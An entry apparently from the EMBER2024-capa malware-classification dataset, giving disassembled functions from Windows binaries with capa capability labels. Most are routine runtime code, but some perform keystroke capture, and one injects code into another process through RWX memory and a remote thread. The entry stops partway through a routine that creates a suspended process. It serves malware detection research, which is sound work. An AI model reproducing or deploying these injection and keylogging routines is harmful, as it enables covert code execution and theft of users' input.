joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d1250
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x4f0
mov rbx, rdx
mov rsi, rcx
mov eax, dword [rdx + 0x10]
movzx ebp, word [rdx + 0x40]
movzx r15d, word [rdx + 0x42]
movzx r12d, word [rdx + 0x44]
mov dword [rdx + 0x10], 0
cmp eax, 1
jne 0x1400d12ad
mov r14, qword [rbx + 8]
cmp bp, 0x2e
jne 0x1400d13ae
test r15w, r15w
je 0x1400d12ad
cmp r15w, 0x2e
jne 0x1400d13ae
test r12w, r12w
jne 0x1400d13ae
lea r14, [rsp + 0x80]
mov r8d, 0x250
mov rcx, r14
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rdi, qword [rbx]
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x1400d1394
mov r14, qword [rbx + 8]
lea rbx, [rsp + 0x80]
mov rbp, qword [sym.imp.KERNEL32.dll_FindNextFileW]
jmp 0x1400d1310
mov rcx, rdi
mov rdx, rbx
call rbp
test eax, eax
je 0x1400d1394
cmp word [rsp + 0xac], 0x2e
jne 0x1400d1339
movzx eax, word [rsp + 0xae]
test ax, ax
je 0x1400d1300
cmp ax, 0x2e
jne 0x1400d1339
cmp word [rsp + 0xb0], 0
je 0x1400d1300
lock inc qword [r14]
jle 0x1400d1499
mov rdi, qword [rsp + 0x80]
movups xmm0, xmmword [rsp + 0x88]
movaps xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x30], xmm0
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x40], eax
movzx ebp, word [rsp + 0xac]
movzx r15d, word [rsp + 0xae]
movzx r12d, word [rsp + 0xb0]
lea rdx, [rsp + 0xb2]
jmp 0x1400d13d9
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x12
jne 0x1400d1425
mov qword [rsi], 0
jmp 0x1400d1487
lock inc qword [r14]
jle 0x1400d1499
lea rdx, [rbx + 0x46]
mov rdi, qword [rbx + 0x14]
mov eax, dword [rbx + 0x3c]
mov dword [rsp + 0x40], eax
movups xmm0, xmmword [rbx + 0x2c]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rbx + 0x1c]
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x2d2]
mov r8d, 0x21e
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x70], eax
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x2d2]
mov r8d, 0x21e
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400d1437
call sub.KERNEL32.dll_GetLastError
mov edi, eax
shl rdi, 0x20
or rdi, 2
xor r14d, r14d
mov qword [rsi + 8], rdi
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi + 0x20], xmm1
mov eax, dword [rsp + 0x70]
mov dword [rsi + 0x30], eax
mov word [rsi + 0x34], bp
mov word [rsi + 0x36], r15w
mov word [rsi + 0x38], r12w
lea rcx, [rsi + 0x3a]
lea rdx, [rsp + 0x80]
mov r8d, 0x21e
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi + 0x258], r14
mov qword [rsi], 1
add rsp, 0x4f0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
ud2
Function at 0x1400d2500
Capabilities:
Create directory

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
test cl, cl
je 0x1400d251d
mov rcx, rdx
mov rdx, r8
add rsp, 0x40
pop rbx
pop rdi
pop rsi
jmp fcn.1400d2590
lea rcx, [rsp + 0x28]
call fcn.1400d05d0
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
test rsi, rsi
je 0x1400d2561
mov rcx, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x1400d256c
xor ebx, ebx
test rdi, rdi
mov edi, 0
je 0x1400d2561
mov edx, 2
mov rcx, rsi
call fcn.14000bba0
mov rdi, rbx
mov rax, rdi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
shl rbx, 0x20
or rbx, 2
test rdi, rdi
mov rdi, rbx
jne 0x1400d2551
jmp 0x1400d2561
Function at 0x1400dd820
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
lea rcx, [rbp - 0x30]
call fcn.1400d05d0
mov rdi, qword [rbp - 0x28]
test rdi, rdi
je 0x1400dd86f
mov rbx, qword [rbp - 0x30]
mov r14, qword [rbp - 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400dd8d2
mov qword [rsi], rbx
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r14
jmp 0x1400dd8c7
mov rdx, qword [rbp - 0x30]
mov eax, edx
and eax, 3
cmp eax, 1
jne 0x1400dd8bf
lea rax, [rdx - 1]
mov qword [rbp - 0x18], rax
mov rcx, qword [rdx - 1]
mov qword [rbp - 0x10], rdx
mov rax, qword [rdx + 7]
call qword [rax]
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 7]
cmp qword [rax + 8], 0
mov rdi, qword [rbp - 0x18]
je 0x1400dd8b2
mov rdx, qword [rax + 0x10]
mov rcx, qword [rdi]
call fcn.14000bba0
mov edx, 8
mov rcx, rdi
call fcn.14000bba0
mov qword [rsi + 8], 0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rsi + 8], 0
test rbx, rbx
je 0x1400dd8c7
mov edx, 2
mov rcx, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.14000bba0
Function at 0x1400dfba0
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov rbx, rdx
mov r14, rcx
mov qword [rbp - 0x20], rdx
mov qword [rbp - 0x18], r8
mov ecx, 0x10
mov edx, 8
call fcn.14000bb10
mov rsi, rax
test rax, rax
je 0x1400dfc71
mov qword [rsi], rbx
mov qword [rsi + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x1400e0050]
xor edi, edi
xor ecx, ecx
mov rdx, r14
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1400dfc63
mov rcx, qword [rsi]
mov rax, qword [rsi + 8]
mov qword [rbp - 0x10], rsi
call qword [rax]
mov rsi, qword [rbp - 0x10]
mov rax, qword [rsi + 8]
cmp qword [rax + 8], 0
je 0x1400dfc42
mov rdx, qword [rax + 0x10]
mov rcx, qword [rsi]
call fcn.14000bba0
mov edx, 8
mov rcx, rsi
call fcn.14000bba0
call sub.KERNEL32.dll_GetLastError
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rbp - 0x10], rsi
mov ecx, 0x10
mov edx, 8
call fcn.140191550
ud2
Function at 0x1400e0410
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1098
call fcn.14018fb00
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1000], xmm6
mov qword [rbp + 0xff8], 0xfffffffffffffffe
mov rsi, rdx
mov rbx, rcx
mov qword [rbp + 0xfb0], rcx
mov qword [rbp + 0xfb8], rdx
lea rdi, [rbp - 0x50]
mov r8d, 0x1000
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0xfe8], 0
xorps xmm6, xmm6
movaps xmmword [rbp + 0xfc0], xmm6
mov qword [rbp + 0xfd0], 0
lea rax, [rbp + 0xfe8]
mov qword [rbp + 0xfd8], rax
lea r13, [0x1400d6120]
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0xfc0]
mov qword [rbp + 0xfe0], rbx
mov rcx, rbx
mov rdx, rdi
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
test eax, eax
je 0x1400e0615
mov r14, qword [sym.imp.KERNEL32.dll_SleepEx]
mov r15d, 0xffffffff
lea rbx, [rbp + 0xfc0]
mov ecx, 0xffffffff
mov edx, 1
call r14
cmp dword [rbp + 0xfe8], 1
jne 0x1400e04e0
cmp dword [rbp + 0xfec], 0
jne 0x1400e061a
mov eax, dword [rbp + 0xff0]
test rax, rax
je 0x1400e061a
cmp eax, 0x1000
ja 0x1400e0665
xor edi, edi
nop
cmp rdi, rax
ja 0x1400e064a
lea rdx, [rdi + rbp]
add rdx, 0xffffffffffffffb0
mov r12, rax
mov r8, rax
sub r8, rdi
cmp r8, r15
cmovae r8, r15
mov dword [rbp + 0xfe8], 0
movaps xmmword [rbp + 0xfc0], xmm6
mov qword [rbp + 0xfd0], 0
lea rax, [rbp + 0xfe8]
mov qword [rbp + 0xfd8], rax
mov qword [rsp + 0x20], r13
mov rcx, rsi
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_WriteFileEx]
test eax, eax
je 0x1400e0615
nop word cs:[rax + rax]
mov ecx, 0xffffffff
mov edx, 1
call r14
cmp dword [rbp + 0xfe8], 1
jne 0x1400e0590
cmp dword [rbp + 0xfec], 0
jne 0x1400e061a
mov eax, dword [rbp + 0xff0]
add rdi, rax
mov rax, r12
cmp rdi, r12
jne 0x1400e0520
mov dword [rbp + 0xfe8], 0
movaps xmmword [rbp + 0xfc0], xmm6
mov qword [rbp + 0xfd0], 0
lea rax, [rbp + 0xfe8]
mov qword [rbp + 0xfd8], rax
mov qword [rsp + 0x20], r13
mov rcx, qword [rbp + 0xfe0]
lea rdx, [rbp - 0x50]
mov r8d, 0x1000
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
test eax, eax
jne 0x1400e04e0
call sub.KERNEL32.dll_GetLastError
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xfe0]
call rdi
mov rcx, rsi
call rdi
movaps xmm6, xmmword [rbp + 0x1000]
add rsp, 0x1098
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.library_std_src_syswindowspipe.rs
mov rcx, rdi
mov qword [rbp + 0xfe0], rax
mov rdx, rax
call fcn.140192650
jmp 0x1400e0680
lea r8, str.library_std_src_syswindowspipe.rs
mov edx, 0x1000
mov qword [rbp + 0xfe0], rax
mov rcx, rax
call fcn.1401923c0
ud2
Function at 0x1400e0720
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x1400e0763
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [fcn.1400ce360]
mov qword [rbp - 0x28], rax
lea rax, [0x140331518]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov qword [rbp - 0x60], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.1401922f0
ud2

Function at 0x1400e2d20
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rdi, rdx
cmp qword [rdx], 0
jne 0x1400e2e24
mov rsi, rcx
mov rbx, qword [rdi + 0x28]
mov rax, qword [rbx]
test rax, rax
jne 0x1400e2d57
mov rdx, qword [rbx + 0x10]
lea rax, [rdx + 0xf]
cmp rax, 0xf
jbe 0x1400e2e0e
xor eax, eax
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
je 0x1400e2df1
sub rax, rdx
add rdx, qword [rbx + 8]
mov rbx, qword [rdi + 0x20]
mov ecx, 0xffffffff
cmp rax, rcx
cmovae rax, rcx
mov dword [rsp + 0x30], 0
mov rcx, qword [rdi + 0x10]
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x30]
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400e2dae
mov eax, dword [rsp + 0x30]
mov ecx, 2
test rax, rax
jne 0x1400e2dca
jmp 0x1400e2dbf
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x3e5
je 0x1400e2dc5
cmp eax, 0x6d
jne 0x1400e2de1
mov byte [rsi + 1], 0
jmp 0x1400e2dd5
mov ecx, 1
mov qword [rdi], rcx
mov qword [rdi + 8], rax
mov byte [rsi + 1], 1
xor eax, eax
mov byte [rsi], al
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov al, 1
jmp 0x1400e2dd7
mov r8d, 1
mov rcx, rbx
mov rdx, rax
call fcn.140196b30
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
jmp 0x1400e2d64
mov r8d, 0x10
mov rcx, rbx
call fcn.140196b30
mov rax, qword [rbx]
jmp 0x1400e2d57
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140196cf0
ud2

Function at 0x1400e76d0
Capabilities:
Generate random numbers via winapi

Disassembly:
sub rsp, 0x38
test rcx, rcx
je 0x1400e76f1
mov r8, qword [rcx]
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
mov qword [rcx], 0
cmp r8, 1
je 0x1400e7727
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x10
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
js 0x1400e7722
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
jmp 0x1400e7727
call fcn.1400e0720
mov r8d, dword [0x1403729f0]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + r8*8]
mov qword [rcx + 0x98], 1
mov qword [rcx + 0xa0], rax
mov qword [rcx + 0xa8], rdx
add rsp, 0x38
ret
Function at 0x1400fb52b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
sub rsp, 0x50
movaps xmmword [rsp + 0x40], xmm6
movaps xmm6, xmm3
mov rsi, rcx
movzx ecx, byte [rcx + 3]
test ecx, ecx
je 0x1400fb582
movzx eax, word [rsi]
cmp rax, r8
ja 0x1400fb5d8
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], rax
cmp ecx, 1
je 0x1400fb5c0
cmp ecx, 3
jne 0x1400fb5c5
add eax, 2
mov word [rsi], ax
lea rcx, [rsp + 0x28]
call fcn.1400f3cbd
test ax, ax
je 0x1400fb5d8
movsx eax, dx
jmp 0x1400fb5df
movzx eax, word [rsi]
cmp rax, r8
jae 0x1400fb5d8
mov cl, byte [rdx + rax]
inc eax
mov word [rsi], ax
mov eax, ecx
and al, 0x3f
inc al
mov byte [rsi + 2], al
test cl, 0x40
sete al
xor al, 3
test cl, cl
movzx eax, al
mov ecx, 1
cmovns ecx, eax
mov byte [rsi + 3], cl
mov rcx, rsi
movaps xmm3, xmm6
call fcn.1400fb52b
jmp 0x1400fb5f5
xorps xmm0, xmm0
jmp 0x1400fb5e7
inc eax
mov word [rsi], ax
lea rcx, [rsp + 0x28]
call fcn.1400f4032
test al, 1
jne 0x1400fb5dc
xor eax, eax
jmp 0x1400fb5f5
movsx eax, dl
cvtsi2ss xmm0, eax
mulss xmm0, xmm6
dec byte [rsi + 2]
jne 0x1400fb5f0
mov byte [rsi + 3], 0
mov eax, 1
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x50
pop rsi
ret
Function at 0x14010bb15
Capabilities:
Log keystrokes

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
xor eax, eax
test r9b, r9b
mov edi, 0xe000
cmove edi, eax
or edi, r8d
cmp dx, 0x10
je 0x14010bb4d
movzx eax, dx
cmp eax, 0x11
je 0x14010bb5e
cmp eax, 0x12
jne 0x14010bb6a
movzx edx, r9b
or edx, 0xa4
jmp 0x14010bbbb
mov ecx, edi
mov edx, 3
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
mov edx, eax
jmp 0x14010bbbb
movzx edx, r9b
or edx, 0xa2
jmp 0x14010bbbb
cmp edi, 0x45
je 0x14010bb86
cmp edi, 0x46
je 0x14010bba3
cmp edi, 0xe01d
je 0x14010bbae
cmp edi, 0xe046
je 0x14010bb98
jmp 0x14010bbbb
cmp dx, 0x13
je 0x14010bb98
mov edi, 0x45
cmp eax, 0xff
jne 0x14010bbbb
mov edi, 0xe059
mov dx, 0x13
jmp 0x14010bbbb
mov edi, 0x46
mov dx, 0x91
jmp 0x14010bbbb
mov edi, 0xe01d
xor eax, eax
cmp dx, 0x13
je 0x14010bbc7
mov word [rsi + 4], dx
mov dword [rsi + 8], edi
mov eax, 1
mov dword [rsi], eax
add rsp, 0x28
pop rdi
pop rsi
ret

Function at 0x14010c2ac
Capabilities:
Get keyboard layout

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x220
xor edi, edi
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov r12, rax
xchg qword [0x1403729e0], rax
cmp r12, rax
jne 0x14010c2e9
mov al, byte [0x1403729e8]
test al, al
jne 0x14010c36f
jmp 0x14010c387
lea r14, [rsp + 0x20]
mov r8d, 0x100
mov rcx, r14
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov word [r14 + 0x11], 0x8080
lea r15, [rsp + 0x120]
mov r8d, 0x100
mov rcx, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xor ebx, ebx
test bl, bl
jne 0x14010c37f
lea esi, [rdi + 1]
cmp edi, 0xff
sete bl
cmove esi, edi
mov rcx, r15
mov edx, edi
mov r8, r12
call fcn.14010c967
mov ebp, eax
mov rcx, r14
mov edx, edi
mov r8, r12
call fcn.14010c967
mov edi, esi
cmp ebp, eax
je 0x14010c31f
mov edi, esi
cmp ebp, 0x110000
je 0x14010c31f
mov edi, esi
cmp eax, 0x110000
je 0x14010c31f
mov al, 1
xchg byte [0x1403729e8], al
mov cx, 0xa5
call fcn.14010c94f
mov ebx, eax
xor bl, 1
jmp 0x14010c389
xor eax, eax
xchg byte [0x1403729e8], al
mov bl, 1
mov cx, 0x10
call fcn.14010c94f
movzx esi, al
lea edi, [rsi*4]
mov cx, 0x11
call fcn.14010c94f
lea ebp, [rsi*4 + 0x20]
test al, al
cmove ebp, edi
test bl, bl
cmove ebp, edi
mov cx, 0x12
call fcn.14010c94f
lea esi, [rbp + 0x100]
test al, al
cmove esi, ebp
test bl, bl
cmove esi, ebp
mov cx, 0x5b
call fcn.14010c94f
test al, al
jne 0x14010c3e9
mov cx, 0x5c
call fcn.14010c94f
test al, al
je 0x14010c3ef
or esi, 0x800
mov eax, esi
add rsp, 0x220
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret

Function at 0x14010c94f
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
movzx ecx, cx
call qword [sym.imp.USER32.dll_GetKeyState]
movzx eax, ax
shr eax, 0xf
add rsp, 0x28
ret
Function at 0x14010e39a
Capabilities:
Log keystrokes via polling

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov ecx, 0x100
mov dl, 1
call fcn.14010d2c7
mov rdi, rax
mov rbx, rdx
mov rcx, rdx
call qword [sym.imp.USER32.dll_GetKeyboardState]
lea rax, [rbx + 0x100]
mov qword [rsi], rdi
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rbx
and qword [rsi + 0x20], 0
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret

Function at 0x14010e6d3
Capabilities:
Inspect section memory permissions

Disassembly:
mov r9d, ecx
and r9d, 1
shl r9d, 0x12
mov eax, ecx
and eax, 4
shl eax, 0xe
mov edx, ecx
and edx, 2
shl edx, 0x10
or edx, eax
mov eax, ecx
and eax, 0x10
shl eax, 0x18
or eax, edx
mov r10d, ecx
shl r10d, 0xd
mov edx, ecx
shl edx, 0x14
and edx, 0x40000000
or edx, eax
mov eax, ecx
shl eax, 0x13
and eax, 0x80000000
or eax, edx
mov edx, ecx
shl edx, 0xc
and edx, 0x20000000
or edx, eax
mov r8d, r10d
and r8d, 0x1000000
or r8d, edx
or r8d, r9d
mov eax, ecx
and eax, 0x20
shl eax, 0xd
mov edx, ecx
shr edx, 3
and edx, 8
and r10d, 0x200000
or r10d, edx
or r10d, eax
or r8d, 0x6c80000
bt ecx, 0x12
mov eax, 0x110
mov edx, 0x80130
cmovae edx, eax
or edx, r10d
mov eax, r8d
and eax, 0xff30ffff
test cx, 0x6000
cmove eax, r8d
ret

Function at 0x14010f09b
Capabilities:
Log keystrokes via input method manager

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov edi, r8d
mov rbx, rdx
mov rsi, rcx
mov rcx, rdx
mov edx, r8d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.imm32.dll_ImmGetCompositionStringW]
test eax, eax
je 0x14010f0fd
js 0x14010f110
mov ebp, eax
mov ecx, eax
xor edx, edx
call fcn.14010d2c7
mov r15, rax
mov r14, rdx
mov rcx, rbx
mov edx, edi
mov r8, r14
mov r9d, ebp
call qword [sym.imp.imm32.dll_ImmGetCompositionStringW]
test eax, eax
js 0x14010f122
mov eax, eax
mov qword [rsi], r15
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rax
jmp 0x14010f115
and qword [rsi], 0
mov qword [rsi + 8], 1
and qword [rsi + 0x10], 0
jmp 0x14010f115
and qword [rsi + 8], 0
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
and qword [rsi + 8], 0
mov rcx, r15
mov rdx, r14
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.1400121d5
Function at 0x14011c940
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0x20
mov rsi, rcx
jb 0x14011c9cc
mov rcx, qword [rcx + 0x20]
mov edx, 0x12
call sub.api_ms_win_crt_utility_l1_1_0.dll__rotl64
mov rcx, qword [rsi + 0x18]
mov edx, 0xc
mov rbx, rax
call sub.api_ms_win_crt_utility_l1_1_0.dll__rotl64
mov rcx, qword [rsi + 0x10]
mov edx, 7
add rbx, rax
call sub.api_ms_win_crt_utility_l1_1_0.dll__rotl64
mov rcx, qword [rsi + 8]
mov edx, 1
add rbx, rax
call sub.api_ms_win_crt_utility_l1_1_0.dll__rotl64
mov rdx, qword [rsi + 8]
lea rcx, [rbx + rax]
call fcn.14011c8d4
mov rdx, qword [rsi + 0x10]
mov rcx, rax
call fcn.14011c8d4
mov rdx, qword [rsi + 0x18]
mov rcx, rax
call fcn.14011c8d4
mov rdx, qword [rsi + 0x20]
mov rcx, rax
call fcn.14011c8d4
jmp 0x14011c9dd
mov rax, qword [rcx + 0x18]
movabs rcx, 0x27d4eb2f165667c5
add rax, rcx
mov r8, qword [rsi]
lea rdx, [rsi + 0x28]
xor r9d, r9d
lea rcx, [r8 + rax]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.14011c760
Function at 0x14018802c
Capabilities:
Encode data using xor

Disassembly:
cmp dword [rcx + 0x60], 0
mov r8, rcx
movzx edx, byte [rcx + 0x5c]
jle 0x140188067
mov ecx, dword [rcx + 0x288]
mov r9d, dword [r8 + 0x60]
mov eax, ecx
lea r11, [0x1403722f0]
shr rax, 0x18
xor rax, rdx
shl ecx, 8
xor ecx, dword [r11 + rax*4]
mov dword [r8 + 0x288], ecx
sub r9, 1
jne 0x140188043
mov eax, dword [r8 + 0x5c]
mov byte [rax + r8 + 0x80], 1
mov ecx, dword [r8 + 0x60]
sub ecx, 1
je 0x14018810f
sub ecx, 1
je 0x1401880f3
cmp ecx, 1
je 0x1401880c8
movsxd rax, dword [r8 + 0x60]
mov r9d, 4
mov byte [rax + r8 + 0x7c], 1
movsxd rcx, dword [r8 + 0x6c]
mov rax, qword [r8 + 0x40]
mov byte [rcx + rax], dl
movsxd rcx, dword [r8 + 0x6c]
lea eax, [rcx + 1]
mov dword [r8 + 0x6c], eax
sub r9, 1
jne 0x14018809b
mov dl, byte [r8 + 0x60]
sub dl, 4
mov rax, qword [r8 + 0x40]
mov byte [rcx + rax + 1], dl
jmp 0x14018811a
movsxd rcx, dword [r8 + 0x6c]
mov rax, qword [r8 + 0x40]
mov byte [rcx + rax], dl
movsxd rcx, dword [r8 + 0x6c]
lea eax, [rcx + 1]
mov dword [r8 + 0x6c], eax
mov rax, qword [r8 + 0x40]
mov byte [rcx + rax + 1], dl
movsxd rcx, dword [r8 + 0x6c]
lea eax, [rcx + 1]
mov dword [r8 + 0x6c], eax
jmp 0x1401880be
mov r9d, 2
movsxd rcx, dword [r8 + 0x6c]
mov rax, qword [r8 + 0x40]
mov byte [rcx + rax], dl
inc dword [r8 + 0x6c]
sub r9, 1
jne 0x1401880f9
ret
movsxd rcx, dword [r8 + 0x6c]
mov rax, qword [r8 + 0x40]
mov byte [rcx + rax], dl
inc dword [r8 + 0x6c]
ret
Function at 0x140190394
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401903de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401903de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401903de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401903de
cmp dword [rcx + 0x84], 0xe
jbe 0x1401903de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1401903e0
xor al, al
add rsp, 0x28
ret
Function at 0x6bac14f6
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov eax, dword [rbp + 0x18]
cmp eax, 1
jne 0x6bac154e
mov rax, qword [rbp + 0x10]
mov qword [0x6bb0f900], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x6bac14d0]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
nop
mov eax, 1
add rsp, 0x30
pop rbp
ret

Function at 0x6bac15c0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x20]
sub rax, 0xffffffffffffff80
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 8], rax
mov r8, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp + 0x20]
jne 0x6bac1673
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8d, 0
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
jmp 0x6bac1674
nop
add rsp, 0x50
pop rbp
ret
Function at 0x6bac167a
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push rbp
push rdi
sub rsp, 0x8e8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x880], rcx
mov dword [rbp + 0x888], edx
mov qword [rbp + 0x890], r8
mov qword [rbp + 0x858], 0
